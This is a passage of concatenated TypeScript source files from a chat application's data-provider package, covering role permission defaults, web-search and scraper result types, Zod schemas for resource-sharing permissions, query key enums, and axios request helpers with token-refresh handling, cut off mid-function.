[Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n [PermissionTypes.BOOKMARKS]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.MEMORIES]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.UPDATE]: true,\n [Permissions.READ]: true,\n [Permissions.OPT_OUT]: true,\n },\n [PermissionTypes.AGENTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n [PermissionTypes.MULTI_CONVO]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.TEMPORARY_CHAT]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.RUN_CODE]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.WEB_SEARCH]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.PEOPLE_PICKER]: {\n [Permissions.VIEW_USERS]: true,\n [Permissions.VIEW_GROUPS]: true,\n [Permissions.VIEW_ROLES]: true,\n },\n [PermissionTypes.MARKETPLACE]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.FILE_SEARCH]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.FILE_CITATIONS]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.MCP_SERVERS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n [PermissionTypes.REMOTE_AGENTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n },\n },\n [SystemRoles.USER]: {\n name: SystemRoles.USER,\n permissions: {\n [PermissionTypes.PROMPTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n [PermissionTypes.BOOKMARKS]: {},\n [PermissionTypes.MEMORIES]: {},\n [PermissionTypes.AGENTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n [PermissionTypes.MULTI_CONVO]: {},\n [PermissionTypes.TEMPORARY_CHAT]: {},\n [PermissionTypes.RUN_CODE]: {},\n [PermissionTypes.WEB_SEARCH]: {},\n [PermissionTypes.PEOPLE_PICKER]: {\n [Permissions.VIEW_USERS]: false,\n [Permissions.VIEW_GROUPS]: false,\n [Permissions.VIEW_ROLES]: false,\n },\n [PermissionTypes.MARKETPLACE]: {\n [Permissions.USE]: false,\n },\n [PermissionTypes.FILE_SEARCH]: {},\n [PermissionTypes.FILE_CITATIONS]: {},\n [PermissionTypes.MCP_SERVERS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: false,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n [PermissionTypes.REMOTE_AGENTS]: {\n [Permissions.USE]: false,\n [Permissions.CREATE]: false,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n },\n },\n});\n","import type { Logger as WinstonLogger } from 'winston';\n\nexport type SearchRefType = 'search' | 'image' | 'news' | 'video' | 'ref';\n\nexport enum DATE_RANGE {\n PAST_HOUR = 'h',\n PAST_24_HOURS = 'd',\n PAST_WEEK = 'w',\n PAST_MONTH = 'm',\n PAST_YEAR = 'y',\n}\n\nexport type SearchProvider = 'serper' | 'searxng';\nexport type RerankerType = 'infinity' | 'jina' | 'cohere' | 'none';\n\nexport interface Highlight {\n score: number;\n text: string;\n references?: UsedReferences;\n}\n\nexport type ProcessedSource = {\n content?: string;\n attribution?: string;\n references?: References;\n highlights?: Highlight[];\n processed?: boolean;\n};\n\nexport type ProcessedOrganic = OrganicResult & ProcessedSource;\nexport type ProcessedTopStory = TopStoryResult & ProcessedSource;\nexport type ValidSource = ProcessedOrganic | ProcessedTopStory;\n\nexport type ResultReference = {\n link: string;\n type: 'link' | 'image' | 'video' | 'file';\n title?: string;\n attribution?: string;\n};\nexport interface SearchResultData {\n turn?: number;\n organic?: ProcessedOrganic[];\n topStories?: ProcessedTopStory[];\n images?: ImageResult[];\n videos?: VideoResult[];\n places?: PlaceResult[];\n news?: NewsResult[];\n shopping?: ShoppingResult[];\n knowledgeGraph?: KnowledgeGraphResult;\n answerBox?: AnswerBoxResult;\n peopleAlsoAsk?: PeopleAlsoAskResult[];\n relatedSearches?: Array<{ query: string }>;\n references?: ResultReference[];\n error?: string;\n}\n\nexport interface SearchResult {\n data?: SearchResultData;\n error?: string;\n success: boolean;\n}\n\nexport interface Source {\n link: string;\n html?: string;\n title?: string;\n snippet?: string;\n date?: string;\n}\n\nexport interface SearchConfig {\n searchProvider?: SearchProvider;\n serperApiKey?: string;\n searxngInstanceUrl?: string;\n searxngApiKey?: string;\n}\n\nexport type References = {\n links: MediaReference[];\n images: MediaReference[];\n videos: MediaReference[];\n};\nexport interface ScrapeResult {\n url: string;\n error?: boolean;\n content: string;\n attribution?: string;\n references?: References;\n highlights?: Highlight[];\n}\n\nexport interface ProcessSourcesConfig {\n topResults?: number;\n strategies?: string[];\n filterContent?: boolean;\n reranker?: unknown;\n logger?: Logger;\n}\n\nexport interface FirecrawlConfig {\n firecrawlApiKey?: string;\n firecrawlApiUrl?: string;\n firecrawlOptions?: {\n formats?: string[];\n includeTags?: string[];\n excludeTags?: string[];\n headers?: Record<string, string>;\n waitFor?: number;\n timeout?: number;\n maxAge?: number;\n mobile?: boolean;\n skipTlsVerification?: boolean;\n blockAds?: boolean;\n removeBase64Images?: boolean;\n parsePDF?: boolean;\n storeInCache?: boolean;\n zeroDataRetention?: boolean;\n location?: {\n country?: string;\n languages?: string[];\n };\n onlyMainContent?: boolean;\n changeTrackingOptions?: {\n modes?: string[];\n schema?: Record<string, unknown>;\n prompt?: string;\n tag?: string | null;\n };\n };\n}\n\nexport interface ScraperContentResult {\n content: string;\n}\n\nexport interface ScraperExtractionResult {\n no_extraction: ScraperContentResult;\n}\n\nexport interface JinaRerankerResult {\n index: number;\n relevance_score: number;\n document?: string | { text: string };\n}\n\nexport interface JinaRerankerResponse {\n model: string;\n usage: {\n total_tokens: number;\n };\n results: JinaRerankerResult[];\n}\n\nexport interface CohereRerankerResult {\n index: number;\n relevance_score: number;\n}\n\nexport interface CohereRerankerResponse {\n results: CohereRerankerResult[];\n id: string;\n meta: {\n api_version: {\n version: string;\n is_experimental: boolean;\n };\n billed_units: {\n search_units: number;\n };\n };\n}\n\nexport type SafeSearchLevel = 0 | 1 | 2;\n\nexport type Logger = WinstonLogger;\nexport interface MediaReference {\n originalUrl: string;\n title?: string;\n text?: string;\n}\n\nexport type UsedReferences = {\n type: 'link' | 'image' | 'video';\n originalIndex: number;\n reference: MediaReference;\n}[];\n\n/** Firecrawl */\n\nexport interface FirecrawlScrapeOptions {\n formats?: string[];\n includeTags?: string[];\n excludeTags?: string[];\n headers?: Record<string, string>;\n waitFor?: number;\n timeout?: number;\n}\n\nexport interface ScrapeMetadata {\n // Core source information\n sourceURL?: string;\n url?: string;\n scrapeId?: string;\n statusCode?: number;\n // Basic metadata\n title?: string;\n description?: string;\n language?: string;\n favicon?: string;\n viewport?: string;\n robots?: string;\n 'theme-color'?: string;\n // Open Graph metadata\n 'og:url'?: string;\n 'og:title'?: string;\n 'og:description'?: string;\n 'og:type'?: string;\n 'og:image'?: string;\n 'og:image:width'?: string;\n 'og:image:height'?: string;\n 'og:site_name'?: string;\n ogUrl?: string;\n ogTitle?: string;\n ogDescription?: string;\n ogImage?: string;\n ogSiteName?: string;\n // Article metadata\n 'article:author'?: string;\n 'article:published_time'?: string;\n 'article:modified_time'?: string;\n 'article:section'?: string;\n 'article:tag'?: string;\n 'article:publisher'?: string;\n publishedTime?: string;\n modifiedTime?: string;\n // Twitter metadata\n 'twitter:site'?: string | boolean | number | null;\n 'twitter:creator'?: string;\n 'twitter:card'?: string;\n 'twitter:image'?: string;\n 'twitter:dnt'?: string;\n 'twitter:app:name:iphone'?: string;\n 'twitter:app:id:iphone'?: string;\n 'twitter:app:url:iphone'?: string;\n 'twitter:app:name:ipad'?: string;\n 'twitter:app:id:ipad'?: string;\n 'twitter:app:url:ipad'?: string;\n 'twitter:app:name:googleplay'?: string;\n 'twitter:app:id:googleplay'?: string;\n 'twitter:app:url:googleplay'?: string;\n // Facebook metadata\n 'fb:app_id'?: string;\n // App links\n 'al:ios:url'?: string;\n 'al:ios:app_name'?: string;\n 'al:ios:app_store_id'?: string;\n // Allow for additional properties that might be present\n [key: string]: string | number | boolean | null | undefined;\n}\n\nexport interface FirecrawlScrapeResponse {\n success: boolean;\n data?: {\n markdown?: string;\n html?: string;\n rawHtml?: string;\n screenshot?: string;\n links?: string[];\n metadata?: ScrapeMetadata;\n };\n error?: string;\n}\n\nexport interface FirecrawlScraperConfig {\n apiKey?: string;\n apiUrl?: string;\n formats?: string[];\n timeout?: number;\n logger?: Logger;\n}\n\n/** Serper API */\nexport interface VideoResult {\n title?: string;\n link?: string;\n snippet?: string;\n imageUrl?: string;\n duration?: string;\n source?: string;\n channel?: string;\n date?: string;\n position?: number;\n}\n\nexport interface PlaceResult {\n position?: number;\n name?: string;\n address?: string;\n latitude?: number;\n longitude?: number;\n rating?: number;\n ratingCount?: number;\n category?: string;\n identifier?: string;\n}\n\nexport interface NewsResult {\n title?: string;\n link?: string;\n snippet?: string;\n date?: string;\n source?: string;\n imageUrl?: string;\n position?: number;\n}\n\nexport interface ShoppingResult {\n title?: string;\n source?: string;\n link?: string;\n price?: string;\n delivery?: string;\n imageUrl?: string;\n rating?: number;\n ratingCount?: number;\n offers?: string;\n productId?: string;\n position?: number;\n}\n\nexport interface ScholarResult {\n title?: string;\n link?: string;\n publicationInfo?: string;\n snippet?: string;\n year?: number;\n citedBy?: number;\n}\n\nexport interface ImageResult {\n title?: string;\n imageUrl?: string;\n imageWidth?: number;\n imageHeight?: number;\n thumbnailUrl?: string;\n thumbnailWidth?: number;\n thumbnailHeight?: number;\n source?: string;\n domain?: string;\n link?: string;\n googleUrl?: string;\n position?: number;\n}\n\nexport interface SerperSearchPayload extends SerperSearchInput {\n /**\n * Search type/vertical\n * Options: \"search\" (web), \"images\", \"news\", \"places\", \"videos\"\n */\n type?: 'search' | 'images' | 'news' | 'places' | 'videos';\n\n /**\n * Starting index for search results pagination (used instead of page)\n */\n start?: number;\n\n /**\n * Filtering for safe search\n * Options: \"off\", \"moderate\", \"active\"\n */\n safe?: 'off' | 'moderate' | 'active';\n}\n\nexport type SerperSearchParameters = Pick<SerperSearchPayload, 'q' | 'type'> & {\n engine: 'google';\n};\n\nexport interface OrganicResult {\n position?: number;\n title?: string;\n link: string;\n snippet?: string;\n date?: string;\n sitelinks?: Array<{\n title: string;\n link: string;\n }>;\n}\n\nexport interface TopStoryResult {\n title?: string;\n link: string;\n source?: string;\n date?: string;\n imageUrl?: string;\n}\nexport interface KnowledgeGraphResult {\n title?: string;\n type?: string;\n imageUrl?: string;\n description?: string;\n descriptionSource?: string;\n descriptionLink?: string;\n attributes?: Record<string, string>;\n website?: string;\n}\n\nexport interface AnswerBoxResult {\n title?: string;\n snippet?: string;\n snippetHighlighted?: string[];\n link?: string;\n date?: string;\n}\n\nexport interface PeopleAlsoAskResult {\n question?: string;\n snippet?: string;\n title?: string;\n link?: string;\n}\n\nexport type RelatedSearches = Array<{ query: string }>;\n\nexport interface SerperSearchInput {\n /**\n * The search query string\n */\n q: string;\n\n /**\n * Country code for localized results\n * Examples: \"us\", \"uk\", \"ca\", \"de\", etc.\n */\n gl?: string;\n\n /**\n * Interface language\n * Examples: \"en\", \"fr\", \"de\", etc.\n */\n hl?: string;\n\n /**\n * Number of results to return (up to 100)\n */\n num?: number;\n /**\n * Specific location for contextual results\n * Example: \"New York, NY\"\n */\n location?: string;\n\n /**\n * Search autocorrection setting\n */\n autocorrect?: boolean;\n page?: number;\n /**\n * Date range for search results\n * Options: \"h\" (past hour), \"d\" (past 24 hours), \"w\" (past week),\n * \"m\" (past month), \"y\" (past year)\n * `qdr:${DATE_RANGE}`\n */\n tbs?: string;\n}\n\nexport type SerperResultData = {\n searchParameters: SerperSearchPayload;\n organic?: OrganicResult[];\n topStories?: TopStoryResult[];\n images?: ImageResult[];\n videos?: VideoResult[];\n places?: PlaceResult[];\n news?: NewsResult[];\n shopping?: ShoppingResult[];\n peopleAlsoAsk?: PeopleAlsoAskResult[];\n relatedSearches?: RelatedSearches;\n knowledgeGraph?: KnowledgeGraphResult;\n answerBox?: AnswerBoxResult;\n credits?: number;\n};\n\n/** SearXNG */\n\nexport interface SearxNGSearchPayload {\n /**\n * The search query string\n * Supports syntax specific to different search engines\n * Example: \"site:github.com SearXNG\"\n */\n q: string;\n\n /**\n * Comma-separated list of search categories\n * Example: \"general,images,news\"\n */\n categories?: string;\n\n /**\n * Comma-separated list of search engines to use\n * Example: \"google,bing,duckduckgo\"\n */\n engines?: string;\n\n /**\n * Code of the language for search results\n * Example: \"en\", \"fr\", \"de\", \"es\"\n */\n language?: string;\n\n /**\n * Search page number\n * Default: 1\n */\n pageno?: number;\n\n /**\n * Time range filter for search results\n * Options: \"day\", \"month\", \"year\"\n */\n time_range?: 'day' | 'month' | 'year';\n\n /**\n * Output format of results\n * Options: \"json\", \"csv\", \"rss\"\n */\n format?: 'json' | 'csv' | 'rss';\n\n /**\n * Open search results on new tab\n * Options: `0` (off), `1` (on)\n */\n results_on_new_tab?: 0 | 1;\n\n /**\n * Proxy image results through SearxNG\n * Options: true, false\n */\n image_proxy?: boolean;\n\n /**\n * Service for autocomplete suggestions\n * Options: \"google\", \"dbpedia\", \"duckduckgo\", \"mwmbl\",\n * \"startpage\", \"wikipedia\", \"stract\", \"swisscows\", \"qwant\"\n */\n autocomplete?: string;\n\n /**\n * Safe search filtering level\n * Options: \"0\" (off), \"1\" (moderate), \"2\" (strict)\n */\n safesearch?: 0 | 1 | 2;\n\n /**\n * Theme to use for results page\n * Default: \"simple\" (other themes may be available per instance)\n */\n theme?: string;\n\n /**\n * List of enabled plugins\n * Default: \"Hash_plugin,Self_Information,Tracker_URL_remover,Ahmia_blacklist\"\n */\n enabled_plugins?: string;\n\n /**\n * List of disabled plugins\n */\n disabled_plugins?: string;\n\n /**\n * List of enabled engines\n */\n enabled_engines?: string;\n\n /**\n * List of disabled engines\n */\n disabled_engines?: string;\n}\n\nexport interface SearXNGResult {\n title?: string;\n url?: string;\n content?: string;\n publishedDate?: string;\n img_src?: string;\n}\n","import { z } from 'zod';\n\n/**\n * Granular Permission System Types for Agent Sharing\n *\n * This file contains TypeScript interfaces and Zod schemas for the enhanced\n * agent permission system that supports sharing with specific users/groups\n * and Entra ID integration.\n */\n\n// ===== ENUMS & CONSTANTS =====\n\n/**\n * Principal types for permission system\n */\nexport enum PrincipalType {\n USER = 'user',\n GROUP = 'group',\n PUBLIC = 'public',\n ROLE = 'role',\n}\n\n/**\n * Principal model types for MongoDB references\n */\nexport enum PrincipalModel {\n USER = 'User',\n GROUP = 'Group',\n ROLE = 'Role',\n}\n\n/**\n * Source of the principal (local LibreChat or external Entra ID)\n */\nexport type TPrincipalSource = 'local' | 'entra';\n\n/**\n * Access levels for agents\n */\nexport type TAccessLevel = 'none' | 'viewer' | 'editor' | 'owner';\n\n/**\n * Resource types for permission system\n */\nexport enum ResourceType {\n AGENT = 'agent',\n PROMPTGROUP = 'promptGroup',\n MCPSERVER = 'mcpServer',\n REMOTE_AGENT = 'remoteAgent',\n}\n\n/**\n * Permission bit constants for bitwise operations\n */\nexport enum PermissionBits {\n /** 001 - Can view and use agent */\n VIEW = 1,\n /** 010 - Can modify agent settings */\n EDIT = 2,\n /** 100 - Can delete agent */\n DELETE = 4,\n /** 1000 - Can share agent with others (future) */\n SHARE = 8,\n}\n\n/**\n * Standard access role IDs\n */\nexport enum AccessRoleIds {\n AGENT_VIEWER = 'agent_viewer',\n AGENT_EDITOR = 'agent_editor',\n AGENT_OWNER = 'agent_owner',\n PROMPTGROUP_VIEWER = 'promptGroup_viewer',\n PROMPTGROUP_EDITOR = 'promptGroup_editor',\n PROMPTGROUP_OWNER = 'promptGroup_owner',\n MCPSERVER_VIEWER = 'mcpServer_viewer',\n MCPSERVER_EDITOR = 'mcpServer_editor',\n MCPSERVER_OWNER = 'mcpServer_owner',\n REMOTE_AGENT_VIEWER = 'remoteAgent_viewer',\n REMOTE_AGENT_EDITOR = 'remoteAgent_editor',\n REMOTE_AGENT_OWNER = 'remoteAgent_owner',\n}\n\n// ===== ZOD SCHEMAS =====\n\n/**\n * Principal schema - represents a user, group, role, or public access\n */\nexport const principalSchema = z.object({\n type: z.nativeEnum(PrincipalType),\n id: z.string().optional(), // undefined for 'public' type, role name for 'role' type\n name: z.string().optional(),\n email: z.string().optional(), // for user and group types\n source: z.enum(['local', 'entra']).optional(),\n avatar: z.string().optional(), // for user and group types\n description: z.string().optional(), // for group and role types\n idOnTheSource: z.string().optional(), // Entra ID for users/groups\n accessRoleId: z.nativeEnum(AccessRoleIds).optional(), // Access role ID for permissions\n memberCount: z.number().optional(), // for group type\n});\n\n/**\n * Access role schema - defines named permission sets\n */\nexport const accessRoleSchema = z.object({\n accessRoleId: z.nativeEnum(AccessRoleIds),\n name: z.string(),\n description: z.string().optional(),\n resourceType: z.nativeEnum(ResourceType).default(ResourceType.AGENT),\n permBits: z.number(),\n});\n\n/**\n * Permission entry schema - represents a single ACL entry\n */\nexport const permissionEntrySchema = z.object({\n id: z.string(),\n principalType: z.nativeEnum(PrincipalType),\n principalId: z.string().optional(), // undefined for 'public'\n principalName: z.string().optional(),\n role: accessRoleSchema,\n grantedBy: z.string(),\n grantedAt: z.string(), // ISO date string\n inheritedFrom: z.string().optional(), // for project-level inheritance\n source: z.enum(['local', 'entra']).optional(),\n});\n\n/**\n * Resource permissions response schema\n */\nexport const resourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.string(),\n permissions: z.array(permissionEntrySchema),\n});\n\n/**\n * Update resource permissions request schema\n * This matches the user's requirement for the frontend DTO structure\n */\nexport const updateResourcePermissionsRequestSchema = z.object({\n updated: principalSchema.array(),\n removed: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n});\n\n/**\n * Update resource permissions response schema\n * Returns the updated permissions with accessRoleId included\n */\nexport const updateResourcePermissionsResponseSchema = z.object({\n message: z.string(),\n results: z.object({\n principals: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n }),\n});\n\n// ===== TYPESCRIPT TYPES =====\n\n/**\n * Principal - represents a user, group, or public access\n */\nexport type TPrincipal = z.infer<typeof principalSchema>;\n\n/**\n * Access role - defines named permission sets\n */\nexport type TAccessRole = z.infer<typeof accessRoleSchema>;\n\n/**\n * Permission entry - represents a single ACL entry\n */\nexport type TPermissionEntry = z.infer<typeof permissionEntrySchema>;\n\n/**\n * Resource permissions response\n */\nexport type TResourcePermissionsResponse = z.infer<typeof resourcePermissionsResponseSchema>;\n\n/**\n * Update resource permissions request\n * This matches the user's requirement for the frontend DTO structure\n */\nexport type TUpdateResourcePermissionsRequest = z.infer<\n typeof updateResourcePermissionsRequestSchema\n>;\n\n/**\n * Update resource permissions response\n * Returns the updated permissions with accessRoleId included\n */\nexport type TUpdateResourcePermissionsResponse = z.infer<\n typeof updateResourcePermissionsResponseSchema\n>;\n\n/**\n * Principal search request parameters\n */\nexport type TPrincipalSearchParams = {\n q: string;\n limit?: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE>;\n};\n\n/**\n * Principal search result item\n */\nexport type TPrincipalSearchResult = {\n id?: string | null; // null for Entra ID principals that don't exist locally yet\n type: PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE;\n name: string;\n email?: string; // for users and groups\n username?: string; // for users\n avatar?: string; // for users and groups\n provider?: string; // for users\n source: 'local' | 'entra';\n memberCount?: number; // for groups\n description?: string; // for groups\n idOnTheSource?: string; // Entra ID for users (maps to openidId) and groups (maps to idOnTheSource)\n};\n\n/**\n * Principal search response\n */\nexport type TPrincipalSearchResponse = {\n query: string;\n limit: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE> | null;\n results: TPrincipalSearchResult[];\n count: number;\n sources: {\n local: number;\n entra: number;\n };\n};\n\n/**\n * Available roles response\n */\nexport type TAvailableRolesResponse = {\n resourceType: ResourceType;\n roles: TAccessRole[];\n};\n\n/**\n * Get resource permissions response schema\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport const getResourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.nativeEnum(AccessRoleIds),\n principals: z.array(principalSchema),\n public: z.boolean(),\n publicAccessRoleId: z.nativeEnum(AccessRoleIds).optional(),\n});\n\n/**\n * Get resource permissions response type\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport type TGetResourcePermissionsResponse = z.infer<typeof getResourcePermissionsResponseSchema>;\n\n/**\n * Effective permissions response schema\n * Returns just the permission bitmask for a user on a resource\n */\nexport const effectivePermissionsResponseSchema = z.object({\n permissionBits: z.number(),\n});\n\n/**\n * Effective permissions response type\n * Returns just the permission bitmask for a user on a resource\n */\nexport type TEffectivePermissionsResponse = z.infer<typeof effectivePermissionsResponseSchema>;\n\n/**\n * All effective permissions response type\n * Map of resourceId to permissionBits for all accessible resources\n */\nexport type TAllEffectivePermissionsResponse = Record<string, number>;\n\n// ===== UTILITY TYPES =====\n\n/**\n * Permission check result\n */\nexport interface TPermissionCheck {\n canView: boolean;\n canEdit: boolean;\n canDelete: boolean;\n canShare: boolean;\n accessLevel: TAccessLevel;\n}\n\n// ===== HELPER FUNCTIONS =====\n\n/**\n * Convert permission bits to access level\n */\nexport function permBitsToAccessLevel(permBits: number): TAccessLevel {\n if ((permBits & PermissionBits.DELETE) > 0) return 'owner';\n if ((permBits & PermissionBits.EDIT) > 0) return 'editor';\n if ((permBits & PermissionBits.VIEW) > 0) return 'viewer';\n return 'none';\n}\n\n/**\n * Convert access role ID to permission bits\n */\nexport function accessRoleToPermBits(accessRoleId: string): number {\n switch (accessRoleId) {\n case AccessRoleIds.AGENT_VIEWER:\n case AccessRoleIds.PROMPTGROUP_VIEWER:\n case AccessRoleIds.MCPSERVER_VIEWER:\n case AccessRoleIds.REMOTE_AGENT_VIEWER:\n return PermissionBits.VIEW;\n case AccessRoleIds.AGENT_EDITOR:\n case AccessRoleIds.PROMPTGROUP_EDITOR:\n case AccessRoleIds.MCPSERVER_EDITOR:\n case AccessRoleIds.REMOTE_AGENT_EDITOR:\n return PermissionBits.VIEW | PermissionBits.EDIT;\n case AccessRoleIds.AGENT_OWNER:\n case AccessRoleIds.PROMPTGROUP_OWNER:\n case AccessRoleIds.MCPSERVER_OWNER:\n case AccessRoleIds.REMOTE_AGENT_OWNER:\n return (\n PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE\n );\n default:\n return PermissionBits.VIEW;\n }\n}\n\n/**\n * Check if permission bitmask contains other bitmask\n * @param permissions - The permission bitmask to check\n * @param requiredPermission - The required permission bit(s)\n * @returns {boolean} Whether permissions contains requiredPermission\n */\nexport function hasPermissions(permissions: number, requiredPermission: number): boolean {\n return (permissions & requiredPermission) === requiredPermission;\n}\n","export enum QueryKeys {\n messages = 'messages',\n sharedMessages = 'sharedMessages',\n sharedLinks = 'sharedLinks',\n allConversations = 'allConversations',\n archivedConversations = 'archivedConversations',\n searchConversations = 'searchConversations',\n conversation = 'conversation',\n searchEnabled = 'searchEnabled',\n user = 'user',\n name = 'name', // user key name\n models = 'models',\n balance = 'balance',\n endpoints = 'endpoints',\n presets = 'presets',\n searchResults = 'searchResults',\n tokenCount = 'tokenCount',\n availablePlugins = 'availablePlugins',\n startupConfig = 'startupConfig',\n assistants = 'assistants',\n assistant = 'assistant',\n agents = 'agents',\n agent = 'agent',\n files = 'files',\n fileConfig = 'fileConfig',\n tools = 'tools',\n toolAuth = 'toolAuth',\n toolCalls = 'toolCalls',\n mcpTools = 'mcpTools',\n mcpConnectionStatus = 'mcpConnectionStatus',\n mcpAuthValues = 'mcpAuthValues',\n agentTools = 'agentTools',\n actions = 'actions',\n assistantDocs = 'assistantDocs',\n agentDocs = 'agentDocs',\n fileDownload = 'fileDownload',\n voices = 'voices',\n customConfigSpeech = 'customConfigSpeech',\n prompts = 'prompts',\n prompt = 'prompt',\n promptGroups = 'promptGroups',\n allPromptGroups = 'allPromptGroups',\n promptGroup = 'promptGroup',\n categories = 'categories',\n randomPrompts = 'randomPrompts',\n agentCategories = 'agentCategories',\n marketplaceAgents = 'marketplaceAgents',\n roles = 'roles',\n conversationTags = 'conversationTags',\n health = 'health',\n userTerms = 'userTerms',\n banner = 'banner',\n /* Memories */\n memories = 'memories',\n principalSearch = 'principalSearch',\n accessRoles = 'accessRoles',\n resourcePermissions = 'resourcePermissions',\n effectivePermissions = 'effectivePermissions',\n graphToken = 'graphToken',\n /* MCP Servers */\n mcpServers = 'mcpServers',\n mcpServer = 'mcpServer',\n /* Active Jobs */\n activeJobs = 'activeJobs',\n /* Agent API Keys */\n agentApiKeys = 'agentApiKeys',\n}\n\n// Dynamic query keys that require parameters\nexport const DynamicQueryKeys = {\n agentFiles: (agentId: string) => ['agentFiles', agentId] as const,\n} as const;\n\nexport enum MutationKeys {\n createAgentApiKey = 'createAgentApiKey',\n deleteAgentApiKey = 'deleteAgentApiKey',\n fileUpload = 'fileUpload',\n fileDelete = 'fileDelete',\n updatePreset = 'updatePreset',\n deletePreset = 'deletePreset',\n loginUser = 'loginUser',\n logoutUser = 'logoutUser',\n refreshToken = 'refreshToken',\n avatarUpload = 'avatarUpload',\n speechToText = 'speechToText',\n textToSpeech = 'textToSpeech',\n assistantAvatarUpload = 'assistantAvatarUpload',\n agentAvatarUpload = 'agentAvatarUpload',\n updateAction = 'updateAction',\n updateAgentAction = 'updateAgentAction',\n deleteAction = 'deleteAction',\n deleteAgentAction = 'deleteAgentAction',\n revertAgentVersion = 'revertAgentVersion',\n deleteUser = 'deleteUser',\n updateRole = 'updateRole',\n enableTwoFactor = 'enableTwoFactor',\n verifyTwoFactor = 'verifyTwoFactor',\n updateMemoryPreferences = 'updateMemoryPreferences',\n}\n","import axios from 'axios';\n\nexport function setAcceptLanguageHeader(value: string): void {\n axios.defaults.headers.common['Accept-Language'] = value;\n}\n\nexport function setTokenHeader(token: string | undefined) {\n if (token === undefined) {\n delete axios.defaults.headers.common['Authorization'];\n } else {\n axios.defaults.headers.common['Authorization'] = 'Bearer ' + token;\n }\n}\n","/* eslint-disable @typescript-eslint/no-explicit-any */\nimport axios, { AxiosError, AxiosRequestConfig } from 'axios';\nimport { setTokenHeader } from './headers-helpers';\nimport * as endpoints from './api-endpoints';\nimport type * as t from './types';\n\nasync function _get<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.get(url, { ...options });\n return response.data;\n}\n\nasync function _getResponse<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n return await axios.get(url, { ...options });\n}\n\nasync function _post(url: string, data?: any) {\n const response = await axios.post(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _postMultiPart(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n });\n return response.data;\n}\n\nasync function _postTTS(url: string, formData: FormData, options?: AxiosRequestConfig) {\n const response = await axios.post(url, formData, {\n ...options,\n headers: { 'Content-Type': 'multipart/form-data' },\n responseType: 'arraybuffer',\n });\n return response.data;\n}\n\nasync function _put(url: string, data?: any) {\n const response = await axios.put(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nasync function _delete<T>(url: string): Promise<T> {\n const response = await axios.delete(url);\n return response.data;\n}\n\nasync function _deleteWithOptions<T>(url: string, options?: AxiosRequestConfig): Promise<T> {\n const response = await axios.delete(url, { ...options });\n return response.data;\n}\n\nasync function _patch(url: string, data?: any) {\n const response = await axios.patch(url, JSON.stringify(data), {\n headers: { 'Content-Type': 'application/json' },\n });\n return response.data;\n}\n\nlet isRefreshing = false;\nlet failedQueue: { resolve: (value?: any) => void; reject: (reason?: any) => void }[] = [];\n\nconst refreshToken = (retry?: boolean): Promise<t.TRefreshTokenResponse | undefined> =>\n _post(endpoints.refreshToken(retry));\n\nconst dispatchTokenUpdatedEvent = (token: string) => {\n setTokenHeader(token);\n window.dispatchEvent(new CustomEvent('tokenUpdated', { detail: token }));\n};\n\nconst processQueue = (error: AxiosError | null, token: string | null = null) => {\n failedQueue.forEach((prom) => {\n if (error) {\n prom.reject(error);\n } else {\n prom.resolve(token);\n }\n });\n failedQueue = [];\n};\n\nif (typeof window !== 'undefined') {\n axios.interceptors.response.use(\n (response) => response,\n async (error) => {\n const originalRequest = error.config;\n if (!error.response) {\n return Promise.reject(error);\n }\n\n if (originalRequest.url?.includes('/api/auth/2fa') === true) {\n return Promise.reject(error);\n }\n if (originalRequest.url?.includes('/api/auth/logout') === true) {\n return Promise.reject(error);\n }\n\n /** Skip refresh when the Authorization header has been cleared (e.g. during logout),\n * but allow shared link requests to proceed so auth recovery/redirect can happen */\n if (\n !axios.defaults.headers.common['Authorization'] &&\n !window.location.pathname.startsWith('/share/')\n ) {\n return Promise.reject(error);\n }\n\n if (error.response.status === 401 && !originalRequest._retry) {\n console.warn('401 error, refreshing token');\n originalRequest._retry = true;\n\n if 